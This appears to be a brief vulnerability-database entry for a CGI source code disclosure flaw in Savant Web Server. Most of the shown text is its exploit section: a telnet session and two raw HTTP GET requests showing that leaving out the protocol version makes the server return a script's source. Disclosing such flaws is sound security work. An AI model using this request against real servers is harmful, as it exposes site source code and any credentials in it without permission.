• info
• discussion
• exploit
• solution
• references

Savant Web Server CGI Source Code Disclosure Vulnerability

telnet target 80

GET /cgi-bin/script.xyz HTTP/1.0
<proper script execution/output>

GET /cgi-bin/script.xyz
<source code displayed>